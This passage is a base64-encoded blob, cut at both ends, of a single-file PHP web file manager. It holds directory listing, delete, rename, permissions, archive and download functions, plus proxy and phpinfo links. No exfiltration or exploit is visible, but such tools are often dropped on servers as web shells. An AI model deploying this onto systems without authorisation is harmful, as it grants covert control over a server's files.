RoPgogICAgPHRoIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPiA8Pz1fXygnU2l6ZScpPz4gPC90aD4KICAgIDx0aCBzdHlsZT0id2hpdGUtc3BhY2U6bm93cmFwIj4gPD89X18oJ0RhdGUnKT8+IDwvdGg+CiAgICA8dGggc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdSaWdodHMnKT8+IDwvdGg+CiAgICA8dGggY29sc3Bhbj0iNCIgc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdNYW5hZ2UnKT8+IDwvdGg+CjwvdHI+CjwvdGhlYWQ+Cjx0Ym9keT4KPD9waHAKJGVsZW1lbnRzID0gZm1fc2Nhbl9kaXIoJHBhdGgsICcnLCAnYWxsJywgdHJ1ZSk7CiRkaXJzID0gYXJyYXkoKTsKJGZpbGVzID0gYXJyYXkoKTsKZm9yZWFjaCAoJGVsZW1lbnRzIGFzICRmaWxlKXsKICAgIGlmKEBpc19kaXIoJHBhdGggLiAkZmlsZSkpewogICAgICAgICRkaXJzW10gPSAkZmlsZTsKICAgIH0gZWxzZSB7CiAgICAgICAgJGZpbGVzW10gPSAkZmlsZTsKICAgIH0KfQpuYXRzb3J0KCRkaXJzKTsgbmF0c29ydCgkZmlsZXMpOwokZWxlbWVudHMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsKCmZvcmVhY2ggKCRlbGVtZW50cyBhcyAkZmlsZSl7CiAgICAkZmlsZW5hbWUgPSAkcGF0aCAuICRmaWxlOwogICAgJGZpbGVkYXRhID0gQHN0YXQoJGZpbGVuYW1lKTsKICAgIGlmKEBpc19kaXIoJGZpbGVuYW1lKSl7CgkJJGZpbGVkYXRhWzddID0gJyc7CgkJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X2Rpcl9zaXplJ10pJiYhZm1fcm9vdCgkZmlsZSkpICRmaWxlZGF0YVs3XSA9IGZtX2Rpcl9zaXplKCRmaWxlbmFtZSk7CiAgICAgICAgJGxpbmsgPSAnPGEgaHJlZj0iJy4kdXJsX2luYy4nJnBhdGg9Jy4kcGF0aC4kZmlsZS4nIiB0aXRsZT0iJy5fXygnU2hvdycpLicgJy4kZmlsZS4nIj48c3BhbiBjbGFzcz0iZm9sZGVyIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+ICcuJGZpbGUuJzwvYT4nOwogICAgICAgICRsb2FkbGluaz0gKGZtX3Jvb3QoJGZpbGUpfHwkcGhhcl9tYXliZSkgPyAnJyA6IGZtX2xpbmsoJ3ppcCcsJGZpbGVuYW1lLF9fKCdDb21wcmVzcycpLicmbmJzcDt6aXAnLF9fKCdBcmNoaXZpbmcnKS4nICcuICRmaWxlKTsKCQkkYXJsaW5rICA9IChmbV9yb290KCRmaWxlKXx8JHBoYXJfbWF5YmUpID8gJycgOiBmbV9saW5rKCdneicsJGZpbGVuYW1lLF9fKCdDb21wcmVzcycpLicmbmJzcDsudGFyLmd6JyxfXygnQXJjaGl2aW5nJykuJyAnLiRmaWxlKTsKICAgICAgICAkc3R5bGUgPSAncm93Mic7CgkJIGlmICghZm1fcm9vdCgkZmlsZSkpICRhbGVydCA9ICdvbkNsaWNrPSJpZihjb25maXJtKFwnJyAuIF9fKCdBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZGlyZWN0b3J5IChyZWN1cnNpdmVseSk/JykuJ1xuIC8nLiAkZmlsZS4gJ1wnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnJyAuICR1cmxfaW5jIC4gJyZkZWxldGU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAgLiAnXCciJzsgZWxzZSAkYWxlcnQgPSAnJzsKICAgIH0gZWxzZSB7CgkJJGxpbmsgPSAKCQkJJGZtX2NvbmZpZ1snc2hvd19pbWcnXSYmQGdldGltYWdlc2l6ZSgkZmlsZW5hbWUpIAoJCQk/ICc8YSB0YXJnZXQ9Il9ibGFuayIgb25jbGljaz0idmFyIGxlZnRvID0gc2NyZWVuLmF2YWlsV2lkdGgvMi0zMjA7d2luZG93Lm9wZW4oXCcnCgkJCS4gZm1faW1nX2xpbmsoJGZpbGVuYW1lKQoJCQkuJ1wnLFwncG9wdXBcJyxcJ3dpZHRoPTY0MCxoZWlnaHQ9NDgwLGxlZnQ9XCcgKyBsZWZ0byArIFwnLHNjcm9sbGJhcnM9eWVzLHRvb2xiYXI9bm8sbG9jYXRpb249bm8sZGlyZWN0b3JpZXM9bm8sc3RhdHVzPW5vXCcpO3JldHVybiBmYWxzZTsiIGhyZWY9IicuZm1faW1nX2xpbmsoJGZpbGVuYW1lKS4nIj48c3BhbiBjbGFzcz0iaW1nIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+ICcuJGZpbGUuJzwvYT4nCgkJCTogJzxhIGhyZWY9IicgLiAkdXJsX2luYyAuICcmZWRpdD0nIC4gJGZpbGUgLiAnJnBhdGg9JyAuICRwYXRoLiAnIiB0aXRsZT0iJyAuIF9fKCdFZGl0JykgLiAnIj48c3BhbiBjbGFzcz0iZmlsZSI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9zcGFuPiAnLiRmaWxlLic8L2E+JzsKCQkkZV9hcnIgPSBleHBsb2RlKCIuIiwgJGZpbGUpOwoJCSRleHQgPSBlbmQoJGVfYXJyKTsKICAgICAgICAkbG9hZGxpbmsgPSAgZm1fbGluaygnZG93bmxvYWQnLCRmaWxlbmFtZSxfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuICRmaWxlKTsKCQkkYXJsaW5rID0gaW5fYXJyYXkoJGV4dCxhcnJheSgnemlwJywnZ3onLCd0YXInKSkgCgkJPyAnJwoJCTogKChmbV9yb290KCRmaWxlKXx8JHBoYXJfbWF5YmUpID8gJycgOiBmbV9saW5rKCdnemZpbGUnLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7LnRhci5neicsX18oJ0FyY2hpdmluZycpLicgJy4gJGZpbGUpKTsKICAgICAgICAkc3R5bGUgPSAncm93MSc7CgkJJGFsZXJ0ID0gJ29uQ2xpY2s9ImlmKGNvbmZpcm0oXCcnLiBfXygnRmlsZSBzZWxlY3RlZCcpLic6IFxuJy4gJGZpbGUuICcuIFxuJy5fXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGZpbGU/JykgLiAnXCcpKSBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gXCcnIC4gJHVybF9pbmMgLiAnJmRlbGV0ZT0nIC4gJGZpbGUgLiAnJnBhdGg9JyAuICRwYXRoICAuICdcJyInOwogICAgfQogICAgJGRlbGV0ZWxpbmsgPSBmbV9yb290KCRmaWxlKSA/ICcnIDogJzxhIGhyZWY9IiMiIHRpdGxlPSInIC4gX18oJ0RlbGV0ZScpIC4gJyAnLiAkZmlsZSAuICciICcgLiAkYWxlcnQgLiAnPicgLiBfXygnRGVsZXRlJykgLiAnPC9hPic7CiAgICAkcmVuYW1lbGluayA9IGZtX3Jvb3QoJGZpbGUpID8gJycgOiAnPGEgaHJlZj0iJyAuICR1cmxfaW5jIC4gJyZyZW5hbWU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAuICciIHRpdGxlPSInIC4gX18oJ1JlbmFtZScpIC4nICcuICRmaWxlIC4gJyI+JyAuIF9fKCdSZW5hbWUnKSAuICc8L2E+JzsKICAgICRyaWdodHN0ZXh0ID0gKCRmaWxlPT0nLicgfHwgJGZpbGU9PScuLicpID8gJycgOiAnPGEgaHJlZj0iJyAuICR1cmxfaW5jIC4gJyZyaWdodHM9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAuICciIHRpdGxlPSInIC4gX18oJ1JpZ2h0cycpIC4nICcuICRmaWxlIC4gJyI+JyAuIEBmbV9yaWdodHNfc3RyaW5nKCRmaWxlbmFtZSkgLiAnPC9hPic7Cj8+Cjx0ciBjbGFzcz0iPD89JHN0eWxlPz4iPiAKICAgIDx0ZD48Pz0kbGluaz8+PC90ZD4KICAgIDx0ZD48Pz0kZmlsZWRhdGFbN10/PjwvdGQ+CiAgICA8dGQgc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+PD89Z21kYXRlKCJZLW0tZCBIOmk6cyIsJGZpbGVkYXRhWzldKT8+PC90ZD4KICAgIDx0ZD48Pz0kcmlnaHRzdGV4dD8+PC90ZD4KICAgIDx0ZD48Pz0kZGVsZXRlbGluaz8+PC90ZD4KICAgIDx0ZD48Pz0kcmVuYW1lbGluaz8+PC90ZD4KICAgIDx0ZD48Pz0kbG9hZGxpbms/PjwvdGQ+CiAgICA8dGQ+PD89JGFybGluaz8+PC90ZD4KPC90cj4KPD9waHAKICAgIH0KfQo/Pgo8L3Rib2R5Pgo8L3RhYmxlPgo8ZGl2IGNsYXNzPSJyb3czIj48P3BocAoJJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsgCgkkdG90YWx0aW1lID0gJG10aW1lWzBdICsgJG10aW1lWzFdIC0gJHN0YXJ0dGltZTsgCgllY2hvIGZtX2hvbWUoKS4nIHwgdmVyLiAnLiRmbV92ZXJzaW9uLicgfCA8YSBocmVmPSJodHRwczovL2dpdGh1Yi5jb20vZGFuaWVseXp4MTIzL2lsZXgucGhwIj5HaXRodWI8L2E+ICB8IDxhIGhyZWY9IicuZm1fc2l0ZV91cmwoKS4nIj4uPC9hPic7CglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfcGhwX3ZlciddKSkgZWNobyAnIHwgUEhQICcucGhwdmVyc2lvbigpOwoJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X3BocF9pbmknXSkpIGVjaG8gJyB8ICcucGhwX2luaV9sb2FkZWRfZmlsZSgpOwoJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X2d0J10pKSBlY2hvICcgfCAnLl9fKCdHZW5lcmF0aW9uIHRpbWUnKS4nOiAnLnJvdW5kKCR0b3RhbHRpbWUsMik7CglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV9wcm94eSddKSkgZWNobyAnIHwgPGEgaHJlZj0iP3Byb3h5PXRydWUiPnByb3h5PC9hPic7CglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfcGhwaW5mbyddKSkgZWNobyAnIHwgPGEgaHJlZj0iP3BocGluZm89dHJ1ZSI+cGhwaW5mbzwvYT4nOwoJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X3hscyddKSYmIWVtcHR5KCRsaW5rKSkgZWNobyAnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDogdm9pZCgwKSIgb25jbGljaz0idmFyIG9iaiA9IG5ldyB0YWJsZTJFeGNlbCgpOyBvYmouQ3JlYXRlRXhjZWxTaGVldChcJ2ZtX3RhYmxlXCcsXCdleHBvcnRcJyk7IiB0aXRsZT0iJy5fXygnRG93bmxvYWQnKS4nIHhscyI+eGxzPC9hPic7CglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2ZtX3NldHRpbmdzJ10pKSBlY2hvICcgfCA8YSBocmVmPSI/Zm1fc2V0dGluZ3M9dHJ1ZSI+Jy5fXygnU2V0dGluZ3MnKS4nPC9hPic7Cgk/Pgo8L2Rpdj4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBkb3dubG9hZF94bHMoZmlsZW5hbWUsIHRleHQpIHsKCXZhciBlbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpOwoJZWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2hyZWYnLCAnZGF0YTphcHBsaWNhdGlvbi92bmQubXMtZXhjZWw7YmFzZTY0LCcgKyB0ZXh0KTsKCWVsZW1lbnQuc2V0QXR0cmlidXRlKCdkb3dubG9hZCcsIGZpbGVuYW1lKTsKCWVsZW1lbnQuc3R5bGUuZGlzcGxheSA9ICdub25lJzsKCWRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZWxlbWVudCk7CgllbGVtZW50LmNsaWNrKCk7Cglkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKGVsZW1lbnQpOwp9CgpmdW5jdGlvbiBiYXNlNjRfZW5jb2RlKG0pIHsKCWZvciAodmFyIGsgPSAiQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLyIuc3BsaXQoIiIpLCBjLCBkLCBoLCBlLCBhLCBnID0gIiIsIGIgPSAwLCBmLCBsID0gMDsgbCA8IG0ubGVuZ3RoOyArK2wpIHsKCQljID0gbS5jaGFyQ29kZUF0KGwpOwoJCWlmICgxMjggPiBjKSBkID0gMTsKCQllbHNlCgkJCWZvciAoZCA9IDI7IGMgPj0gMiA8PCA1ICogZDspICsrZDsKCQlmb3IgKGggPSAwOyBoIDwgZDsgKytoKSAxID09IGQgPyBlID0gYyA6IChlID0gaCA/IDEyOCA6IDE5MiwgYSA9IGQgLSAyIC0gNiAqIGgsIDAgPD0gYSAmJiAoZSArPSAoNiA8PSBhID8gMSA6IDApICsgKDUgPD0gYSA/IDIgOiAwKSArICg0IDw9IGEgPyA0IDogMCkgKyAoMyA8PSBhID8gOCA6IDApICsgKDIgPD0gYSA/IDE2IDogMCkgKyAoMSA8PSBhID8gMzIgOiAwKSwgYSAtPSA1KSwgMCA+IGEgJiYgKHUgPSA2ICogKGQgLSAxIC0gaCksIGUgKz0gYyA+PiB1LCBjIC09IGMgPj4gdSA8PCB1KSksIGYgPSBiID8gZiA8PCA2IC0gYiA6IDAsIGIgKz0gMiwgZiArPSBlID4+IGIsIGcgKz0ga1tmXSwgZiA9IGUgJSAoMSA8PCBiKSwgNiA9PSBiICYmIChiID0gMCwgZyArPSBrW2ZdKQoJfQoJYiAmJiAoZyArPSBrW2YgPDwgNiAtIGJdKTsKCXJldHVybiBnCn0KCgp2YXIgdGFibGVUb0V4Y2VsRGF0YSA9IChmdW5jdGlvbigpIHsKICAgIHZhciB1cmkgPSAnZGF0YTphcHBsaWNhdGlvbi92bmQubXMtZXhjZWw7YmFzZTY0LCcsCiAgICB0ZW1wbGF0ZSA9ICc8aHRtbCB4bWxuczpvPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpvZmZpY2UiIHhtbG5zOng9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNlOmV4Y2VsIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvVFIvUkVDLWh0bWw0MCI+PGhlYWQ+PCEtLVtpZiBndGUgbXNvIDldPjx4bWw+PHg6RXhjZWxXb3JrYm9vaz48eDpFeGNlbFdvcmtzaGVldHM+PHg6RXhjZWxXb3Jrc2hlZXQ+PHg6TmFtZT57d29ya3NoZWV0fTwveDpOYW1lPjx4OldvcmtzaGVldE9wdGlvbnM+PHg6RGlzcGxheUdyaWRsaW5lcz48L3g6RGlzcGxheUdyaWRsaW5lcz48L3g6V29ya3NoZWV0T3B0aW9ucz48L3g6RXhjZWxXb3Jrc2hlZXQ+PC94OkV4Y2VsV29ya3NoZWV0cz48L3g6RXhjZWxXb3JrYm9vaz48L3htbD48IVtlbmRpZl0tLT48bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvcGxhaW47IGNoYXJzZXQ9VVRGLTgiLz48L2hlYWQ+PGJvZHk+PHRhYmxlPnt0YWJsZX08L3RhYmxlPjwvYm9keT48L2h0bWw+JywKICAgIGZvcm1hdCA9IGZ1bmN0aW9uKHMsIGMpIHsKICAgICAgICAgICAgcmV0dXJuIHMucmVwbGFjZSgveyhcdyspfS9nLCBmdW5jdGlvbihtLCBwKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gY1twXTsKICAgICAgICAgICAgfSkKICAgICAgICB9CiAgICByZXR1cm4gZnVuY3Rpb24odGFibGUsIG5hbWUpIHsKICAgICAgICBpZiAoIXRhYmxlLm5vZGVUeXBlKSB0YWJsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRhYmxlKQogICAgICAgIHZhciBjdHggPSB7CiAgICAgICAgICAgIHdvcmtzaGVldDogbmFtZSB8fCAnV29ya3NoZWV0JywKICAgICAgICAgICAgdGFibGU6IHRhYmxlLmlubmVySFRNTC5yZXBsYWNlKC88c3BhbiguKj8pXC9zcGFuPiAvZywiIikucmVwbGFjZSgvPGFcYltePl0qPiguKj8pPFwvYT4vZywiJDEiKQogICAgICAgIH0KCQl0ID0gbmV3IERhdGUoKTsKCQlmaWxlbmFtZSA9ICdmbV8nICsgdC50b0lTT1N0cmluZygpICsgJy54bHMnCgkJZG93bmxvYWRfeGxzKGZpbGVuYW1lLCBiYXNlNjRfZW5jb2RlKGZvcm1hdCh0ZW1wbGF0ZSwgY3R4KSkpCiAgICB9Cn0pKCk7Cgp2YXIgdGFibGUyRXhjZWwgPSBmdW5jdGlvbiAoKSB7CgogICAgdmFyIHVhID0gd2luZG93Lm5hdmlnYXRvci51c2VyQWdlbnQ7CiAgICB2YXIgbXNpZSA9IHVhLmluZGV4T2YoIk1TSUUgIik7CgoJdGhpcy5DcmVhdGVFeGNlbFNoZWV0ID0gCgkJZnVuY3Rpb24oZWwsIG5hbWUpewoJCQlpZiAobXNpZSA+IDAgfHwgISFuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9UcmlkZW50Lipydlw6MTFcLi8pKSB7Ly8gSWYgSW50ZXJuZXQgRXhwbG9yZXIKCgkJCQl2YXIgeCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGVsKS5yb3dzOwoKCQkJCXZhciB4bHMgPSBuZXcgQWN0aXZlWE9iamVjdCgiRXhjZWwuQXBwbGljYXRpb24iKTsKCgkJCQl4bHMudmlzaWJsZSA9IHRydWU7CgkJCQl4bHMuV29ya2Jvb2tzLkFkZAoJCQkJZm9yIChpID0gMDsgaSA8IHgubGVuZ3RoOyBpKyspIHsKCQkJCQl2YXIgeSA9IHhbaV0uY2VsbHM7CgoJCQkJCWZvciAoaiA9IDA7IGogPCB5Lmxlbmd0aDsgaisrKSB7CgkJCQkJCXhscy5DZWxscyhpICsgMSwgaiArIDEpLlZhbHVlID0geVtqXS5pbm5lclRleHQ7CgkJCQkJfQoJCQkJfQoJCQkJeGxzLlZpc2libGUgPSB0cnVlOwoJCQkJeGxzLlVzZXJDb250cm9sID0gdHJ1ZTsKCQkJCXJldHVybiB4bHM7CgkJCX0gZWxzZSB7CgkJCQl0YWJsZVRvRXhjZWxEYXRhKGVsLCBuYW1lKTsKCQkJfQoJCX0KfQo8L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+Cgo8P3BocAovL1BvcnRlZCBmcm9tIFJlbG9hZENNUyBwcm9qZWN0IGh0dHA6Ly9yZWxvYWRjbXMuY29tCmNsYXNzIGFyY2hpdmVUYXIgewoJdmFyICRhcmNoaXZlX25hbWUgPSAnJzsKCXZhciAkdG1wX2ZpbGUgPSAwOwoJdmFyICRmaWxlX3BvcyA9IDA7Cgl2YXIgJGlzR3ppcHBlZCA9IHRydWU7Cgl2YXIgJGVycm9ycyA9IGFycmF5KCk7Cgl2YXIgJGZpbGVzID0gYXJyYXkoKTsKCQoJZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXsKCQlpZiAoIWlzc2V0KCR0aGlzLT5lcnJvcnMpKSAkdGhpcy0+ZXJyb3JzID0gYXJyYXkoKTsKCX0KCQoJZnVuY3Rpb24gY3JlYXRlQXJjaGl2ZSgkZmlsZV9saXN0KXsKCQkkcmVzdWx0ID0gZmFsc2U7CgkJaWYgKGZpbGVfZXhpc3RzKCR0aGlzLT5hcmNoaXZlX25hbWUpICYmIGlzX2ZpbGUoJHRoaXMtPmFyY2hpdmVfbmFtZSkpIAkkbmV3QXJjaGl2ZSA9IGZhbHNlOwoJCWVsc2UgJG5ld0FyY2hpdmUgPSB0cnVlOwoJCWlmICgkbmV3QXJjaGl2ZSl7CgkJCWlmICghJHRoaXMtPm9wZW5Xcml0ZSgpKSByZXR1cm4gZmFsc2U7CgkJfSBlbHNlIHsKCQkJaWYgKGZpbGVzaXplKCR0aGlzLT5hcmNoaXZlX25hbWUpID09IDApCXJldHVybiAkdGhpcy0+b3BlbldyaXRlKCk7CgkJCWlmICgkdGhpcy0+aXNHemlwcGVkKSB7CgkJCQkkdGhpcy0+Y2xvc2VUbXBGaWxlKCk7CgkJCQlpZiAoIXJlbmFtZSgkdGhpcy0+YXJjaGl2ZV9uYW1lLCAkdGhpcy0+YXJjaGl2ZV9uYW1lLicudG1wJykpewoJCQkJCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdDYW5ub3QgcmVuYW1lJykuJyAnLiR0aGlzLT5hcmNoaXZlX25hbWUuX18oJyB0byAnKS4kdGhpcy0+YXJjaGl2ZV9uYW1lLicudG1wJzsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCQkkdG1wQXJjaGl2ZSA9IGd6b3BlbigkdGhpcy0+YXJjaGl2ZV9uYW1lLicudG1wJywgJ3JiJyk7CgkJCQlpZiAoISR0bXBBcmNoaXZlKXsKCQkJCQkkdGhpcy0+ZXJyb3JzW10gPSAkdGhpcy0+YXJjaGl2ZV9uYW1lLicudG1wICcuX18oJ2lzIG5vdCByZWFkYWJsZScpOwoJCQkJCXJlbmFtZSgkdGhpcy0+YXJjaGl2ZV9uYW1lLicudG1wJywgJHRoaXMtPmFyY2hpdmVfbmFtZSk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQkJaWYgKCEkdGhpcy0+b3BlbldyaXRlKCkpewoJCQkJCXJlbmFtZSgkdGhpcy0+YXJjaGl2ZV9uYW1lLicudG1wJywgJHRoaXMtPmFyY2hpdmVfbmFtZSk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQkJJGJ1ZmZlciA9IGd6cmVhZCgkdG1wQXJjaGl2ZSwgNTEyKTsKCQkJCWlmICghZ3plb2YoJHRtcEFyY2hpdmUpKXsKCQkJCQlkbyB7CgkJCQkJCSRiaW5hcnlEYXRhID0gcGFjaygnYTUxMicsICRidWZmZXIpOwoJCQkJCQkkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSk7CgkJCQkJCSRidWZmZXIgPSBnenJlYWQoJHRtcEFyY2hpdmUsIDUxMik7CgkJCQkJfQoJCQkJCXdoaWxlICghZ3plb2YoJHRtcEFyY2hpdmUpKTsKCQkJCX0KCQkJCWd6Y2xvc2UoJHRtcEFyY2hpdmUpOwoJCQkJdW5saW5rKCR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnKTsKCQkJfSBlbHNlIHsKCQkJCSR0aGlzLT50bXBfZmlsZSA9IGZvcGVuKCR0aGlzLT5hcmNoaXZlX25hbWUsICdyK2InKTsKCQkJCWlmICghJHRoaXMtPnRtcF9maWxlKQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkJaWYgKGlzc2V0KCRmaWxlX2xpc3QpICYmIGlzX2FycmF5KCRmaWxlX2xpc3QpKSB7CgkJaWYgKGNvdW50KCRmaWxlX2xpc3QpPjApCgkJCSRyZXN1bHQgPSAkdGhpcy0+cGFja0ZpbGVBcnJheSgkZmlsZV9saXN0KTsKCQl9IGVsc2UgJHRoaXMtPmVycm9yc1tdID0gX18oJ05vIGZpbGUnKS5fXygnIHRvICcpLl9fKCdBcmNoaXZlJyk7CgkJaWYgKCgkcmVzdWx0KSYmKGlzX3Jlc291cmNlKCR0aGlzLT50bXBfZmlsZSkpKXsKCQkJJGJpbmFyeURhdGEgPSBwYWNrKCdhNTEyJywgJycpOwoJCQkkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSk7CgkJfQoJCSR0aGlzLT5jbG9zZVRtcEZpbGUoKTsKCQlpZiAoJG5ld0FyY2hpdmUgJiYgISRyZXN1bHQpewoJCSR0aGlzLT5jbG9zZVRtcEZpbGUoKTsKCQl1bmxpbmsoJHRoaXMtPmFyY2hpdmVfbmFtZSk7CgkJfQoJCXJldHVybiAkcmVzdWx0OwoJfQoKCWZ1bmN0aW9uIHJlc3RvcmVBcmNoaXZlKCRwYXRoKXsKCQkkZmlsZU5hbWUgPSAkdGhpcy0+YXJjaGl2ZV9uYW1lOwoJCWlmICghJHRoaXMtPmlzR3ppcHBlZCl7CgkJCWlmIChmaWxlX2V4aXN0cygkZmlsZU5hbWUpKXsKCQkJCWlmICgkZnAgPSBmb3BlbigkZmlsZU5hbWUsICdyYicpKXsKCQkJCQkkZGF0YSA9IGZyZWFkKCRmcCwgMik7CgkJCQkJZmNsb3NlKCRmcCk7CgkJCQkJaWYgKCRkYXRhID09ICdcMzdcMjEzJyl7CgkJCQkJCSR0aGlzLT5pc0d6aXBwZWQgPSB0cnVlOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQllbHNlaWYgKChzdWJzdHIoJGZpbGVOYW1lLCAtMikgPT0gJ2d6JykgT1IgKHN1YnN0cigkZmlsZU5hbWUsIC0zKSA9PSAndGd6JykpICR0aGlzLT5pc0d6aXBwZWQgPSB0cnVlOwoJCX0gCgkJJHJlc3VsdCA9IHRydWU7CgkJaWYgKCR0aGlzLT5pc0d6aXBwZWQpICR0aGlzLT50bXBfZmlsZSA9IGd6b3BlbigkZmlsZU5hbWUsICdyYicpOwoJCWVsc2UgJHRoaXMtPnRtcF9maWxlID0gZm9wZW4oJGZpbGVOYW1lLCAncmInKTsKCQlpZiAoISR0aGlzLT50bXBfZmlsZSl7CgkJCSR0aGlzLT5lcnJvcnNbXSA9ICRmaWxlTmFtZS4nICcuX18oJ2lzIG5vdCByZWFkYWJsZScpOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCSRyZXN1bHQgPSAkdGhpcy0+dW5wYWNrRmlsZUFycmF5KCRwYXRoKTsKCQkJJHRoaXMtPmNsb3NlVG1wRmlsZSgpOwoJCXJldHVybiAkcmVzdWx0OwoJfQoKCWZ1bmN0aW9uIHNob3dFcnJvcnMJKCRtZXNzYWdlID0gJycpIHsKCQkkRXJyb3JzID0gJHRoaXMtPmVycm9yczsKCQlpZihjb3VudCgkRXJyb3JzKT4wKSB7CgkJaWYgKCFlbXB0eSgkbWVzc2FnZSkpICRtZXNzYWdlID0gJyAoJy4kbWVzc2FnZS4nKSc7CgkJCSRtZXNzYWdlID0gX18oJ0Vycm9yIG9jY3VycmVkJykuJG1lc3NhZ2UuJzogPGJyLz4nOwoJCQlmb3JlYWNoICgkRXJyb3JzIGFzICR2YWx1ZSkKCQkJCSRtZXNzYWdlIC49ICR2YWx1ZS4nPGJyLz4nOwoJCQlyZXR1cm4gJG1lc3NhZ2U7CQoJCX0gZWxzZSByZXR1cm4gJyc7CgkJCgl9CgkKCWZ1bmN0aW9uIHBhY2tGaWxlQXJyYXkoJGZpbGVfYXJyYXkpewoJCSRyZXN1bHQgPSB0cnVlOwoJCWlmICghJHRoaXMtPnRtcF9maWxlKXsKCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0ludmFsaWQgZmlsZSBkZXNjcmlwdG9yJyk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJaWYgKCFpc19hcnJheSgkZmlsZV9hcnJheSkgfHwgY291bnQoJGZpbGVfYXJyYXkpPD0wKQogICAgICAgICAgcmV0dXJuIHRydWU7CgkJZm9yICgkaSA9IDA7ICRpPGNvdW50KCRmaWxlX2FycmF5KTsgJGkrKyl7CgkJCSRmaWxlbmFtZSA9ICRmaWxlX2FycmF5WyRpXTsKCQkJaWYgKCRmaWxlbmFtZSA9PSAkdGhpcy0+YXJjaGl2ZV9uYW1lKQoJCQkJY29udGludWU7CgkJCWlmIChzdHJsZW4oJGZpbGVuYW1lKTw9MCkKCQkJCWNvbnRpbnVlOwoJCQlpZiAoIWZpbGVfZXhpc3RzKCRmaWxlbmFtZSkpewoJCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ05vIGZpbGUnKS4nICcuJGZpbGVuYW1lOwoJCQkJY29udGludWU7CgkJCX0KCQkJaWYgKCEkdGhpcy0+dG1wX2ZpbGUpewoJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnSW52YWxpZCBmaWxlIGRlc2NyaXB0b3InKTsKCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJaWYgKHN0cmxlbigkZmlsZW5hbWUpPD0wKXsKCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0ZpbGVuYW1lJykuJyAnLl9fKCdpcyBpbmNvcnJlY3QnKTs7CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJJGZpbGVuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZmlsZW5hbWUpOwoJCSRrZWVwX2ZpbGVuYW1lID0gJHRoaXMtPm1ha2VHb29kUGF0aCgkZmlsZW5hbWUpOwoJCWlmIChpc19maWxlKCRmaWxlbmFtZSkpewoJCQlpZiAoKCRmaWxlID0gZm9wZW4oJGZpbGVuYW1lLCAncmInKSkgPT0gMCl7CgkJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnTW9kZSAnKS5fXygnaXMgaW5jb3JyZWN0Jyk7CgkJCX0KCQkJCWlmKCgkdGhpcy0+ZmlsZV9wb3MgPT0gMCkpewoJCQkJCWlmKCEkdGhpcy0+d3JpdGVIZWFk